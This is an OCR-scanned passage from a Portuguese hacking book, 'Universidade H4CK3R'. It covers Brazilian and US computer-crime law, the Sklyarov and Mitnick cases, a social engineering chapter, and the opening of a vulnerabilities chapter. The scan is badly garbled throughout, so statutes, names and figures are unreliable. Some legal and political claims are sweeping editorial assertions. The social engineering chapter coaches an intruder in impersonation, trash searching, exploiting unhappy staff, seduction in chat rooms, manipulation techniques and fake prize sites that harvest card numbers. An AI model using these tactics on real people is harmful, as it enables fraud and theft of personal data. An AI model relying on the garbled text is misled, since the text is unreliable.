e equipamentos par .. garantir a segurana de seus dados, e mesmo assim no
conseguem evitar a ao dos vndalos digitais.
Preocupados com a situao, vrios deputados formular;uTI projetos de lei
par .. dettr a ao dos invasores. Mas devido ao lento processo de aprovao,
total ignorncia dos parlamentares em relao ao assunto e s diversas corre-
es c alteraes que devem ser feitas at que tudo esteja adequado, os hackcrs
podem continuar utilizando suas habilidades par .. continuar suas pesquisas. A
seguir, temos um trecho especfico do projeto de lei criado pelo dtputado D-
cio Braga que trata dos crimes de informtica:
"Dispe sobre os crimes de informtica e d outras providncias"
CAPITuLO III
DOS CRIMES DE lNFORMl1CA
Dano a dado ou programa de computador
Art. SO. Ap"J:,'M, destnlir, modificar ou de qualquer fomw inutilizar, total ou pard-
almente, dado ou progr.mm de comput.1dor, de JOrma indevida ou no .wtoriuda.
Pemf: deteno de um a trs anos e mult'f.
P:mgrafo lnico. Se o crime cometido:
1- cont,,' o interesse da Unio, Esrado, Distrito Federal, Municpio, rgo ou
elltid,lde da administrao direta ou indireta ou de empresa concessionria de
seITios pblicos;
II - com conSider.vel prejuzo parn a vtima;
m -com inruito de lucro ou v;ult:lgem de qualquer espcie, prpria ou de terceiro;
IV - com :Ibuso de con11ana;
V - por motivo ftil;
VI - com o uso indevido de senha ou processo de identificao de terceiro; ou
VII - com a utiliZ'1o de qll:I1qller outro meio frnudulento.
PeI1:l: deteno de dois a quatro .1nos e Inult:l.
Acesso indevido ou no autorizado
Art. 9. Obter ,/Cesso, indevido ou no autorizado, a compuwdor ou rede de
computadores.
I 115 I
I Fundamentos Jurdicos
I Universidade H4CK3R I
I 116 I
Pena: deteno de seis meses a um :mo e mult".
Pargrafo primeiro. Na mesma pena incorre quem, sem autorizao ou
indevidamente, obtm, mantm ou fornece a terceiro qualquer meio de identi-
ficao ou acesso a computador ou rede de computadores.
Pa.r.igrnto segundo. Se o crime cometido:
I - com acesso a compulador ou rede de computadores da Unio, Estado,
Distrito Feder:J1, Municpio, rgiio ou entidade d:l administrao direta ou indi-
reta ou de empresa concessionria de servios pblicos;
II - com considervel prejuzo para a vtima;
IlJ - com intuilO de lucro ou vantagem de qualquer espcie, prpria ou de
terceiro;
IV - com abuso de confiana;
V - por motivo ftil;
VI - com o uso indevido de senha ou processo de identificao de terceiro; ou
VTI - com a utilizao de qualquer outro meio fraudulento.
Pena: deleno de um a dois anos e multa.
Alter.lo de senha ou mecanismo de acesso a programa. de computador ou
dados
Art. 10. Apagar, destruir, alterar, ou de qualquer form:1 inutjJiur, senha ou
qu:J1quer outro mecanismo de acesso a computador, programa de computador
ou dados, de form:1 indevida ou 11:10 :lutorizada.
Pena: deteno de um a dois anos e multa.
Obteno indevida ou no autorizada de dado ou instruo de computador
An. I r. Obter, manter ou fornecer, sem autorizao ou indevidameme, dado
ou instruo de computador.
Pena: deteno de trs meses :I um ano e multa.
Pargrafo nico. Se o crime comelido:
I - com acesso ;1 comput:ldor ou rede de comput:ldores da Unio, Estado,
DistrilO Federal, Municpio, rgo ou emidade da administrao direta ou ndi-
ret:1 ou de empresa concessionria de servios pblicos;
U - com considervel prejuzo para a vtinJ:i;
IlJ - com intuito de lucro ou vantagem de qualquer espcie, prpria ou de
terceiro;
N - com abuso de confiana;
V - por motivo ftil;
VI - com o uso indevido de senha ou processo de identiflcao de lerceiro; ou
VII - com a utilizao de qualquer outro meio fraudulento.
Pena: deteno de um a dois anos e multa.
Fundamentos Jurdicos I
Universidade,o ano
Viola.2"o de segredo armazenado em computador, meio magntico de
natureza magntica, 6ptica ou similar.
An. 12. Obter segredos, de indstria ou comrcio, ou infonn:les pesso:lis
arm"zemldas em comput:ldor, rede de computadores, meio elerronico de mllu
rez:1 magntica, prica ou simi1:Ir, de forma indevida ou no autorizada.
Pena: deteno de um a trs anos e multa.
Cria.2"o, desenvolvimento ou inser.2"o em computador de dados ou pro-
grama de computador com .fins nocivos
An. 13. Criar, desenvolver ou inserir, d"do ou progr:W):I em computador ou
rede de computadores, de forma indevida ou no autorizada, com a finalidade
de ap:lg,lr, destruir, inutilizar ou modifiC:lr dado ou program:l de comput:tdor
ou de qurdquer forma dificulwr ou impossibilitar, (owl ou p:lrcdmente, :1 uli-
JiZtlo de computador ou rede de computadores.
Pena: recluso de um .1 qU:ltro anos e multa.
Pru"'.igrafo nico. Se o crin)e cometido:
1 - contrn interesse da Uniio, Estado, Distrito Federal, Municpio, orgao ou
enrid.1de da administrao direta ou indirela ou de empresa concessionria de
senrios pblicos;
II - com considervel prejuzo p:lro a vtima;
JJ1 com intuito de lucro ou v:mt:Jgem de qll.'llquer espde, prpria ou de
terceiro;
IV - com abuso de con!i;ll1a;
V por motivo fril;
VI - com o uso indevido de senha ou processo de identific.1o de lerceiro; ou
VII . com a utilizao de qU:llquer outro meio fraudulento.
Pena: recluso de dois a seis .1nos e multa.
Veiculao de pornografia atravs de: n:de: de computadon:s
Arl. 14. Oferecer servio ou informao de carter pornogrfico, em rede de
computadores, sem exibir, previameme, de forma facilmeme visvel e destaca-
da, aviso sobre sua natureza, indicando o seu comedo e a inadequao para
criana ou adolescentes.
Pena: deteno de um a trs anos e multa.
Como podemos notar, O projeto abrangente, Lidando com assuntos que vo
desde inV".Iscs at a criao de vrus e programas que possam danificar dados
alheios. Com certeza, a "nao hacker" teria a maioria dos seus atos coibida
caso a lei estivesse em vigor. Mas, alm do processo de aprovao da lei, o gover-
no tem de prover condies para que elas sejam executadas.
1117 1
I Fundamentos Jurdicos
I Universidade H4CK3R
I 118 I
Leis internacionais aps o dia 11 de
setembro de 2001
Nos Estados Unidos da Amrica
Aps o fatdico dia 11 de setembro de 2001, caracterizado pelos atentados ao
World Trade Center e Pentgono, muita coisa mudou em relao vida dos hackers
no mbilO internacional . No mesmo dia em que os avies derrubarJ.m as torres
do WTC, os agentes do FBI j intimavam os maiores provedores de acesso a
instalarem o software Carnivore, conhecido pela sua capacidade de filtrar men-
sagens de e-mail em busca de palavras e expresses relacionadas ao atentado.
Alm disso, o governo americano diminuiu os entraves judiciais para o
uso de escutas telefnicas, eliminou a necessidade de provas e at revogou
a lei que proibia a ClA de organizar assassinatos contra inimigos externos.
Estudos realizados pelo Pentgono sobre o cibenerrorismo mostraram que
ataques de crackers poderiam parar o pas, j que os reservatrios de gua,
energia eltrica e gs so controlados por centros de computao que po-
dem ser invadidos remotamente de maneira ridiculamente fcil.
Uma das leis criadas pelo departamento foi a USA Act, que possui uma
seo especial voltada para o ciberterrorismo. O USA ACI prev punio
para toda forma de vandalismo eletrnico que possa atingir empresas e
cidados, incluindo invases vindas de outros pases. Isso significa que, se
rastreado, o invasor ser punido de acordo com as leis internacionais.
Com as novas leis e medidas americanas, os legisladores americanos transfor-
maram milhares de crackers e hackers em terroristas por definio. Um dos
pargrafos da PATRIOT (provide Appropriate Tools Required to lntercept and
Obstruct Terrorism Act) diz o seguinte: aquele que, com conhecimento, cause
transmiss::l0 de um programa, infonnao, cdigo ou comando e, como resultado
de tal conduta, intencionalmente cause dano sem autorizao, para um computa-
dor protegido [estar{( em violao deste estatutoj. Isso significa que, como foi
dito antes, hackers viraram terroristas para os americanos. Como se j no fosse
suficiente, ser considerado terrorista praticamente significa priso perptua.
Est em elaborao um conjunto de novas leis (na verdade a ratificao
legal da Doutrina Bush) chamado de Homeland Security Act , que promete
endurecer o cerco aos inimigos dos Estados Unidos em todas as frentes: mi-
litar, comercial, armamentista, poltica e digital. Espere para ver em breve
aes paramilitares norte-americanas em outros pases visando prender ou
assassinar pessoas acusadas de hackerismo.
A lei ameriGma pode funcionar como um modelo para defmir os padres mundi-
ais que so discutidos anualmente pela lnterpol, que criou uma diviso especial , a
Unidade de Crimes de Alta Tecnologia, para combater os crimes eletrnicos.
Fundamentos Jurdicos I
Universidade 1ano
Na Europa
A maior parte dos grupos europeus tomou medidas semelhantes s dos Esta-
dos Unidos. Todas base:ld:ls no r.lstreamento de informaes pessoais St;m qU:lI-
quer aviso prvio, dando poder aos seus agentes de vasculhar as caixas de men-
sagens de qualquer provedor. A adoo do padro norte-:lmcric:lno mostr.l. mais
uma vez que o mundo est prximo de estabelecer uma forte estratgia de com-
bate aos cibercrimes, o que vai prejudicar muito a ao dos vndalos digitais.
Como efeito colateral , ferir tambm alguns direitos e a privacidade de Cidad<lOS
reconhecidamente inocentes ("Mate todos! Um deles terrorista ... .
Casos de hackers famosos
Para o governo eles so criminosos. P".oU<l a nao h:lcker, heris. Vamos apre-
sentar dois dos casos mais conhecidos de aplicao de leis contra os crimes
detrfmicos. Dmitry Sklayrov e Kevin Mitnick so dois timos exemplos de como
as leis internacionais relacionadas invaso, hackeamento de software e utiliza-
o de engenharia social so aplicadas na realidade.
o russo que "hackeou" a Adobe
o progr.l.mador russo Dmitry Sklayrov foi acusado de comercializar uma
ferramenta que quebr as medidas de segurana do programa Adobe Book
Reader logo aps dar uma palestra sobre segurana na DefCon em julho de
200 I . O Advanced eBook Processor pode quebrar a senha de segurana criada
pela Adobe, tr.tI1sformando um e-book criptograf:ldo em um simples POE Ele
foi enquadrado na lei que visa a proteo do direito inteleclUal para os produ-
tos digitais, o Digital Millenium Copyright Act, dispositivo horrendo e nazista
mais conhecido como DMCA.
A parte mais estranha que a prpri:l Adobe decidiu retirar as acusaes. As
crtic:ls internacionais e as ameaas de boicote foram os principais motivos que
fizeram com que a empres:l fizesse uma reviso de conscincia. Apesar disso, a
situao de Dmitry no melhorou em nada, pois o governo americano no reti-
rou as acus:les.
Aps pagar uma multa de US$ 50 mil e ficar detido na Califrnia por cinco
meses, o russo obteve a liberdade por meio de um acordo em que apoiaria o
governo norte-americano. A condio imposta foi a de ficar sob observao
durante um ano, e s ento ele seria absolvido completamente.
1119 1
I Fundamentos Jurdicos
I Universidade H4CK3R I
1120 1
o hacker mais famoso do mundo
Um dos maiores dolos da nao hacker. A histria de Kevin Mitnick com
certeza daria material para uma verdadeira enciclopdia. Em 1989 foi procura-
do pelo FBI acusado de roubar um software secreto de pesquisa da Digital
Equipment Corpo E a Corte norte-americana decretou que o llacker seria preso
sem direito fiana. A Corte justificou dizendo que ele representavJ. uma ame-
aa comunidade e mesmo segurana nacional ao utilizar um teclado.
Aps um ano de priso, Mitnick foi posto em liberdade, mas em pouco tempo j
estava violando os termos de sua condicional. Em 1992 era suspeito de ter
crackeado sistemas de infoontica e obter acesso aos rcgistros do FBI . Em novem-
bro do mesmo ano, Mitnick desapareceu misteriosamente sem deixar rastros. As
autoridades achavam que ele estaria usando fal.s.1s identidades para se esconder.
Em 1994, o hacker se deparou com o especialista em segurana Tsutomu
Shimomura, do Centro Nacional de Supercomputao, em San Diego, na
Califrnia. Ele havia alterado o sistema pessoal de Shimomura, que ficou indig-
nado, pois se considerava um dos melhores especialislas em segurana do pas.
Mitnick ganhou acesso por meio de um computador da Loyola University, de
Chicago, autorizado a mandar informaes para a mquina do especialista. A
partir desse ponto, foi aonado um esquema em conjunto com o FBI para en-
contrar o hacker. Shimomura instalou um computador para monitorar todas
as ae)Cs realizadas em seu prprio equipamento.
Mitnick no fazia idia da operao montada e continuou com os ataques. No
dia 15 de fevereiro de 1995, foi localizado. Ele passou cinco anos na cadeia
aps invadir empresas como a Motorola e a Nokia. DurJ.nte esse tempo uma
legio de tas lutou por sua liberdade, organizando movimentos como o Free
Mitnick. Ele ainda sofreu 23 acusaes federais de fraude no sistema telefnico
por uso ilegal de componentes de acesso para evitar tarifas, alm de ser consi-
derado como "terrorista da informtica" pelo governo americano.
Fundamentos Jurdicos I
Eng
haria

en
Gela
Captulo
"For hard cash we wifi fie and deceive.
And even our masters don l know the
webs we weave '1
Pink Floyd:'Dogs of War
H
J 7'or din/u'ln} 'flVHO um I/H'u(ity'UIOS t> /
F IH'/1I IIOSSOS IIIt's{n's 5111)('111 (/IIS {,'jas '/11(' (('(" '11105
{Jo li/blllIJ A ,IfoIfu'u(llr)' Lnpsl' o/ lleluoI1,
I Universidade H4CK3R I
11241
Este captulo bem curto, se comparado com os outros, menos tcnicos. Tam-
bm aparentemente o mais distante do que se espera de um livro como este.
Mas no se engane: as infonnaes aqui contidas so as mais importantes de
todo o livro. Um ataque muito complicado pode se transformar em algo
simplssimo, caso a engenharia social seja empregada. Portanto, antes de que-
brdr a cabea com solues puramente tecnolgicas, pense primeiro que enga-
nar o alvo e faz-lo trabalhar pard voc pelo lado de dentro muito mais rpido.
O objetivo das tcnicas aqui apresentadas a aquisio de informaes vitais
sobre o alvo escolhido. Por informaes vitais, alm das bvias como dados finan-
ceiros, pessoais e hierrquicos, entende-se as idiossincrdSias tcnicas e politicas
da empresa: instalaes fsicas e lgicas, topologias de rede, politicas de senhas e
chaves de criptografia.
O termo engenharia social pode parecer num primeiro momento algo distante
do universo hacker. Basicamente, significa a de informaes vitais
sobre uma determinada pessoa, empresa, produto ou organizao. Essas informa-
es so provenientes quase sempre de pessoas prximas ao indivduo a ser ata-
edUO Otl do prprio quadro de funcionrios e clientes - no caso de empresas.
Dessa forma, podemos encarar o termo como sinnimo de espionagem, que utili-
za tticas que vo desde cartas e telefonemas, passando por pesquisas nos dep-
sitos de lixo at a abordagem pessoal.
As tcnicas de engenharia social exigem uma preparao psicolgica profunda
e contnua. O candidato a invasor deve estar pronto para estudar o comporta-
mento do seu alvo e entender melhor seu modus operandi, incluindo at o
monitoramento de horrios. Mesmo com investimentos pesados na rea de segu-
rana, grande parte das empresas (seno todas) no est preparada para lidar
com esse fatoro Lembre-se de que o espio usar a boa vontade, a cortesia, a inge-
nuidade das pessoas e mesmo as normas da empresa para enganar as vtimas.
Atenco: isso crime!

O mundo da engenharia social parece ser algo muito tentador. Mas, diferente
dos crimes digitais, que no possuem uma legislao bem definida no pas, to-
das as tcnicas citadas so consideradas crimes passveis de punio, que vo
desde o pagamento de multas at a deteno. A interpretao legal baseia-se na
configurao dos atos de engenharia social como falsidade ideolgica, cardcte-
rizada pela incorporao de uma identidade alheia (impostura) seguida de fmude.
Dependendo do destino dado s informaes recebidas (por exemplo, em caso
de fraude financeira), o invasor responder tambm pelo crime de esteUonato.
O propsito deste captulo demonstrar superficialmente as tcnicas utiliza-
das na engenharia social. importante que todos conheam essas tcnicas, mas
no recomendamos a ningum utiliz-las: pelas leis brasileiras e da maioria dos
pases elas so consideradas prticas criminosas, com punies bem severas.
Engenharia Social I
Universidade'O Ano
Tipos de ataque
Existem basicamente dois tipos de ataques: o direlO e o indireto. A eficincia
deles depende das habilidades pessoais do hacker e do quanto ele se identifica
com os processos. Normalmente, necessrio utilizar um:! combinao de am-
bos para obter o resultado desejado. P'J.ra chegar :lbordagem direta, o invasor
deve ler conseguido uma bela coleo de informaes obtidas de modo indireto.
S assim poder do que est quando abordar um funcionrio do
teleatendimento para conseguir uma senha de acesso ao sistema ou enviar aque-
le fax dizendo que o gerente da filial solicitando informaes.
Ataque indireto
o ataque indireto consiste na utilizao de ferramentas de invaso (como
c:!v,ilos de tria e sites com cdigo malicioso) e de impostum (como cartas,
emails t: sites falsos com a aparncia dos verdadeiros) para obter informaes
pessoais. Os usurios individu:!is de quem o hacker extmi os dados so apenas
velOres pam a coleta de infonnacs de uma entidade maior - empres.1, orga-
niz..1o ou governo. Sua inteno no atacar cada um desses usurios, e sim o
org:mismo maior ao qual pertencem.
Ataque direto
So camcterizados pelo contata pessoal. Geralmente so feilOs por fax ali
telefone (embora hackers mais confiantes ousem faz-los pessoalmente .. . ) e
exigem planejamento detalhado e antecipado, vrios planos de emergncia
para cad:! uma das fases do ataque previamente planejadas e um pouco de
dom artstico. Sim, um bom invasor tem a obrigao de ser bom ator. Este deve
ser bem aniculado par.! que seu plano no seja desmascarado, e tambm ter
raciocnio rpido para encontr.lr sadas caso algo fom do planejado d errado.
Mtodos utilizados
bvio que todo esse falatrio sobre ataques diretos e indiretos extrem:l-
mente vago. Na prtica, existem algumas tticas simples que devem ser usadas
na elaborao do procedimento de ataque. As principais armas de um engenhei-
ro social podem ser divididas em dois grandes grupos: pesquisa e impostura.
Comecemos pela A aquisio de material , como relatrios anuais e
lista de pagamento, pode dar uma tima viso da. hierarquia adotada na empr(-"Sa.
Isso ajud:l muito na hora <b seleo dos alvos pontuais (lembre-se: lUll pedacinho
de infornl,u;o extrado de cada usurio resulta em um bolo valiosssimo quando
reunido s outras pequenas infornla<3cs extradas dos outros usurios). O hacker
pode descobrir quem detm o material necessrio para a invas:.io e outras infonna
cs importantes p:lra o ataque, como dep<J.rtlmento em que a pessoa trabalha,
softwarcs utilizados, sistema operacional , hardware c sistemas empresariais.
1125 1
Engenharia Social
I Universidade H4CK3R I
11261
Observe que nem sempre os dados teis esto escritos: uma anlise dos resulta-
dos de sua busca, compreendendo combinaes e cruzamento de infornlaes,
importantssima. "Ler nas entrelinhas" nunca foi to necessrio ..
Mesmo assim, a pesquisa s o comeo. Depois de descobrir quem guarda as
infonnacs e quais so elas, o hacker deve pensar nos meios que utilizar parJ.
extrair mais dados. nesse ponto que entra a impostura: o hackcr deve se fazer
passar por outras pessoas (seja da prpria empresa, seja clientes, fornecedores,
seja at agentes do governo) para, de posse das informaes j "garimpa(bs", anga-
riar dados e documentos mais srios, especficos e, principalmente, valiosos.
A seguir vamos falar sobre mtodos utilizados para a aquisio de dados
vitais das empresas, tanto em ataques diretos quanto indiretos.
Disfarces
Como um bom espio, o engenheiro social deve dispor de diversos disfarces
para alcanar seus objetivos. Entre eles devem constar desde se passar por
faxineiro at consultor em visita. Certas empresas adorJ.m receber consultores
de empresas famosas. Para tanto, basta apenas que o hacker tenha um terno,
boa lbia e um crach. O fator idade no mais um problema to grande, pois o
perfil do profissional de informtica cada vez mais jovem, basta apenas tratar
um pouco da aparncia e da linguagem a ser utilizada.
A incorporao do personagem um fator de grande importncia para o su-
cesso. Imagine um hacker disfarado de faxineiro. Ele simplesmente no vai
andar at a lata de lixo, separar os papis de seu interesse e virar as costas, ser
at estranho se ningum suspeitar. Ele deve fazer todo o servio desde limpar a
mesa at varrer o cho, conseguindo mais oportunidades para entender o que
acontece ao seu redor. Depois de um certo tempo, as pessoas passam a confiar
mais e o invasor pode tranqilamente limpar as mesas repletas de material im-
portante para o desenvolvimento de um ataque bem-sucedido.
o lixo rico!
o lixo de um escritrio , potencialmente, uma das maiores fontes de informa-
es para o hacker. GerJ.lmente nele que as pessoas jogam aqueles pedaos de
papis em que anOlam suas senhas antes de memoriz-Ias ou transcrever para
uma agenda. Alm disso, o lixo de uma grande empresa recebe dezenas de relat-
rios que podem parecer banais mas que, na verdade, guardam infornlaes sobre
o patrimnio da empresa, funcionrios cadastrados e aspectos dos sistemas.
A falta de preocupao s com esse fator isolado pode render uma invaso
bem-sucedida e ainda ajudar o invasor a limpar seus rastros. Muitas vezes, ele
mesmo pode estar l para recolher o lixo da sala do administrJ.dor. Obviamen-
te, isso depende muito da percia do hacker e do quanto ele realmente precisa
das iJonnaes, caso contrrio, ele pode esperar at que o material seja posto
para coleta, o que no seria muito recomendado.
Engenhari a Social I
Universidade 1Ano
Funcionrios descontentes e redes de cantatas
"P.tlvcz st..;a a fonna mais tciI de conseguir infonnaes dentro de mTJa empresa. Mui-
tas Ve'"lCS pode CUSlar wn C(.1tO valor (nem sempre em dinheiro ... ), mas isso v.ti (k:pendt.'r
do teor de insalisf.lo do fundoru'uio para com a empresa em questo. Explorar a fragi-
lidade de pessoas insatisfeitas com as condies de trJbalho muito mais simples do que
lJOdetnos im.aginar. muito tciI para o administrador insatisfeito com o salrio fular algo
que posst prejudicar seus superiores de algwna forma.. Nem sempre eles so teis aps
s;:rem ou st.."reITl demitidos, pois a IX>ltica das empreslS a de trocar as senhas.
No se deve esquecer que os funcionrios de uma empresa possuem uma
rede de comatos, dentro e ford dela. Isso tambm vlido par.! os descon-
tentes, que podem fornecer ao hacker infonnaes V"dliOsaS sobre outras pes-
soas e sobre caminhos para chegar a mais dados.
o apelo sentimental
o invasor pode incorporar outra pessoa, com muito mais fadlidlde, no mWldo virtu-
al.. V.unos que o hacker quer invadir lUTI computador qualquer na Internet. Ele
procur:1 lUlla SitIa de chat e obsenrd silcncioSiunente a conversa )x>r lUll tem(Xl. De(Xlis,
sai da Silla e enU'a novamente com a1gwn apelido do sexo 0JX>Sl0 ao da vtima escolhi-
da. A partir desse ponto tci.l conquistar a confiana do intemaut'a e ganhar acesso
aos seus dldos pessoais mais importunes, usando apen.1S as t("CIlic.lS de seduo e
col'KllUsm que todos ns conIK'Ct.'11lOS e que, mesmo aso,im, fimdonam. Observe que
homens e mulh<..-'fCS JX>SSuem maneir::lS diferentes de serem conquistados e seduzidos.
Programao neurolingstica
Ao se comunicar com qualquer )X!SSOO, JX>SSveJ utilizar tcnicas de programao
Jl(."ltrOlingstica par.! confLuxlir a pessoa e fuz.Ia concordar com voc. Consegue-se
isso de diversas formas, sendo a mais bvia. (e que ftUldona em 100% dos ClSOS)
fazer com que a vtima acredite que na realidade a idia foi dela. Uma das tcnicas para
confundir a vtima a chamarul acompanha-acompanha-acompanha-comanda: o
h..1cker imita o j<..-ito de escrever, de f.l1ar e at a gesticulao de seu intertocutor. Faz isso
(Xlr lUll bom tetn(Xl durante a C01Wt..."fSa, at que wn elo de intimidade se fonne e a
vtima pense que est.'. no comando, baixando a guarda. A p:utir da, o hacker pode
com:mdar a conversa sem que a vtima perceba e dela tudo o que for ncces.<irio.
A utilizao da Internet
Um:! fonna eficaz de conseguir as infonnaes desejadas atravs de fornllll:-
rios e cadastros na Internet. Sites que oferecem brindes para quem se cadastrar
e promoes que prometem os m.ais variados tipos de prmios podem no pas-
sar de instnunentos utilizados pelos hackers para conseguir lima vasta quantida-
de de infonnaes sobre os intemautas. Entre elas, esto dados pessoais e dicas
sobre o comportamento da futura vtima. Essa tcnica utilizada principalmen,
te para a obteno de nmeros de cartes de crdito e dados como CPF eRG.
1127 I
Engenharia Social
I Universidade H4CK3R I
1128 1
o fator sorte
H muitos casos em que os procedimentos de engenharia social so facilita-
dos por descuidos dos usurios e dos administradores do parque de informtica
das empresas. s vezes, mesmo empresas muito seguras deixam escapar uma, e
apenas uma, infonnao no bvia. Se o hacker tiver a sorte de tropear nessa
infonnao, seu processo de engenharia social poder ser abreviado em vrios
dias, s vezes semanas. Oreillc attcnOvc et bon vouloir!2
Navegando pelo mar proi bido
Mesmo depois de invadidos, um computador, um site ou uma empresa so um
quebra-cabea complicado para o invasor. At ento este possua as informa-
es sobre a periferia. Agord ele tem acesso irrestrito a todas as reas do local
invadido, mas que para ele se parece mais com um labirinto. O controle de
acesso e usurios internos de empresas, por exemplo, nonnalmente menos
rigoroso que os procedimentos de segurana das partes visveis externamente
(si te, e-mail, gateways e Internet). Mas ainda assim, uma vez dentro, o invasor
dever quebrar senhas, contornar dispositivos de segurana ou mesmo utilizar
novamente a engenharia social para obter infonnaes cada vez mais prxi-
mas do ncleo. Este um processo sem fim ;-)
Casos reais
Os hackers listados nesta "galeria da fama " ganharam notoriedade por Seus
ataques muito bem engendrados e pelas somas fabulosas em dinheiro que foram
capazes de movimentar. Mas lembre-se: hackers, quando so realmente bons, no
so apanhados ...
Abraham Abdallah
Em 2002, o hacker e lavador de pratos Abraham Abdallah recebeu acusaes
de fraudes da ordem de US$ 80 milhes. Utilizando-se da revista Forbes, que
publicou uma lista com as 400 pessoas mais ricas dos EUA, ele roubou o nmero
de diversos cartes de crdito de pessoas famosas. Utili7..ando tcnicas de enge-
nharia social , Abdallah enganou bancos e empresas de crdito para conseguir as
infonnaes para o seu golpe.
Chegou a montar uma rede de caixas postais para receber as encomendas
que fazia com o dinheiro roubado. Foi descoberto pela polcia ao tentar retir.u
uma quantia acima do saldo existente de 1110mas Siebel, fundador da empresa
de e-commerce chamada Siebel Systems.
2 -Ore/II,,- e boa "ont:Jde - - expresso muiro empreg:Jdil no fexfO A .. Mil e: Umll Noite .. -
NarTlI tins de: SlIbedOrill (Les Mille ct Une Nuils - Ucrifs Sapkmiaux. Tr.ldu:iio par.l o (r.ms de Ren
R. KIJ:Jwam, dilions Albin Mie/ld. Fr;mil). O original em t"ilbe impronuncivel parn os
Engenharia SociaL I
Universidade 1Ano
Kevin Mitnick
Kevin Mimick j foi um dos criminosos mais procurddos pelo FBI, devido aos
crimes digitais que cometeu. Aps ganhar a liberdade, ajudou a fundar uma
empresa de consultoria especializada em segumna, a Defensive Thinking. Esse
um fato que chega a surpreender muito, pois Mitnick tornou-se um smbolo
da engenharia social ao planejar e reali7...ar seus ataques aos sistemas de gran-
des empresas pelo mundo.
Ele lISOU as artimanhas da engenharia social pela primeim vez nos anos 70, ao
conhecer um estudante que Ijdava com (o hadeamento de linhas
telefnicas). Ele percebeu como os phreakers agiam, fazendo-se passar por fun-
cionrios das companhias telefnicas. Comeou a tentar com amigos e profes-
sores e sentiu-se motivado aps notar que tinha facilidade em conseguir infor-
maes confidenciais. Ele foi evoluindo suas tticas at o ponto em que nenhu-
ma empresa estava mais segunl contra os seus ataques.
Sua lista de ataques inclui desde telefonemas inocentes ao selOr de supone
at a incorporao de funcionrios importantes parJ conseguir informaes
como senhas para obter acesso a grandes sistemas da empresa. Dessa forma,
Mitnick tornou-se uma lenda par.l a populao hacker ao redor do mundo.
Alm desses, podemos citar, com louvor, outros hackers que se utiliz..'lr.lm de
engenharia social para atingir seus objetivos:
O polons Vladimir Levin, que desviou mais de dez milhes de dlares de
contas no CityBank:;
Raphael Gray, que roubou quase 30 mil cartes de crdito nos Estados Uni-
dos e, com um deles (que ele alega ser de Bill Gates) , comprou uma caixa de
Viagra e a remeteu ao prprio;
Jerome Heckenkamp, ingls de 22 anos, que pediu ao juiz para ser preso
depois de invddir sites como o eDa)', L)'cos e eTrade;
Poderamos preencher completamente este livro citando diversos hackers
famosos (inclusive brasileiros). Apenas estes exemplos, entretanto, mostram
como as cstrutums de segurJna, que j so ruins no campo tecnolgico, fic.un
piores qu:mdo o fator humano entra em campo.
11291
Engenharia SociaL
Vulnerabilidades
Captulo 7
UI am a world's forgotten boy
The one who searches and destroys
Look ou! honey, 'cause 1m using technology
Ain l gol time to make no apology'7
The Stooges. "5earch and
J -/IJ ,011 {lfll <fI/rolo ("I/{(";do j)('/O I1111lU/O I rflll'f, (f"f'
"IIH'II/Im 1 d'O'ln"! ' -'10/1 IIsl/llda {(,I"f/Olo'fll/ II por /.", lulO
("lIlm "'IU/H) pI/n/ fI/I' dr,.."IJIjJlJ,.- !)o 1111)11111 /(1111' PQ,,",'r.
I Universidade H4CK3R I
1132 1
Imagine uma nao como os Estados Unidos da Amrica. Forte, rica, militar-
mente imbatvel, tecnologicamente muito frente de qualquer outrd. muito
difcil imaginar que uma nao como essa perca uma guerra sendo travada em
algum pas distante. Mesmo que, por algum motivo, perca tal guerra, os disposi-
tivos nacionais de defesa nunca deixariam que um ataque qualquer (militar ou
terrorista) chegasse perto das fronteiras do pas. Certo?
Bem, 11 de setembro deixou claro que ningum pode prever tudo. Os terroris-
tas atacaram por onde foi mais fcil, usando pessoas comuns - cidados ameri-
canos - e atuando em pontos reconhecidamente vunerveis - a fraca segurdna
dos aeroportos. Quem poderia imaginar que avies comerciais seriam usados
como osseis para derrubar as torres do World Trade Center cm Nova York? Se
pensarmos bem, a idia to insana que chega a ser genial (do ponto de vista
dos terroristas, obviamente): foi deveras fcil causar todo aquele dano.
Administradores de sites e de redes e mesmo ns, usurios comuns de
informtica, temos o mesmo dilema. Aplicamos correes de segurana libera-
dos pelos desenvolvedorcs dos programas que usamos, instalamos firewalls, anti-
vrus, removedores de trojans e toda uma parafernalha tecnolgica para desco-
brir, depois de alguns dias, que no adiantou nada: bastou um garoto de 12 anos
com muita vontade e ms intenes para invadir nossos sistemas c fazer um
belo estrago.
Infelizmente mesmo o usuriO leigo deve se preocupar com a segurana de
suas informaes e sistemas de informtica. Hoje no basta trocar a fechadura
da porta: se O seu fOITO for de madeira, os ladres entram pelo teto.Assim como
devemos modificar (desfigurar?) nossas casas para torn-las mais seguras, te-
mos de estar atentos a todos os buracos no bvios que os progrJ.mas os quais
usamos apresentam para os terrveis chapus prctos
2
.
Noces sobre vulnerabilidades

O estudo das vulnerabilidades existentes deve fazer parte da rotina do bom hacker
(err ... do mau tambm ... ). Diariamente, listas de discusso e sites especializados
liberam listas e mais listas de falhas em sistemas operacionais e servidores. o.msi-
derando que, se voc est lendo este livro e est neste captulo, voc est querendo
aprender. Utilizar-se de tcnicas j conhecidas e divulgadas o trampolim para, no
futuro, descobrir essas vtLlnembilidades antes dos organismos de defesa. Mesmo um
hacker experiente tem de estar atento a essas listas, caso algum usurio queira
facilitar seu trabalho e deixar seu computador desatualizado.
Z No Cilprulo I, PscoIogj;l NilCker; vimos diversos tipos de divididos por hilbilidilde. Mil!> o gr.mck
uni>"erso do digiraJ J1'O<k .<;ft" di,"idido, sem k,-;u em conlll habilidildcs individuais, entre a comuni<b<k
do bem e II Iegijo do m;d. Os do priJJJeiro tipo sio c/wuadot'i de cllilpus brancos. ou whire hats. ji os nlillidosos
;lufOdcnOI1l;nam d!;lpu$ ou b/;lck hars. H;"i os que: rrahd/ham no limi;lr dos dois e: so
chiullildos de grey hllrs (c1lilpus dtlZilS). Em (elllpo: II Roo /I;lr.lnc. yw:dhJr.CQJU) lio {em nad7 com ;SSO ...
Vulnerabilidades II
Universidade,o ano
Normalmente, h trs tipos de falhas que podem ser exploradas:
1. FaJhas que afetam a disponibilidade da mquina etirla do ar"). Isso pode
ser feito de diversas maneiras, uma delas (mas no a nica) a negao de
servio (ou 005).
2. Falhas que permitem o acesso limitado ao sistema. o que comumente
chamamos de "invaso". Nela incluemse falhas do software e falhas de configu-
rao (ou seja, humanas). As faJhas de software mais comuns podem ser explo-
radas diretamente ou por algum tipo de estouro de pilha (o famigerado buffer
Ol'CrflOW). J a falha humana mais comum instaJar o sistema e no aplicar as
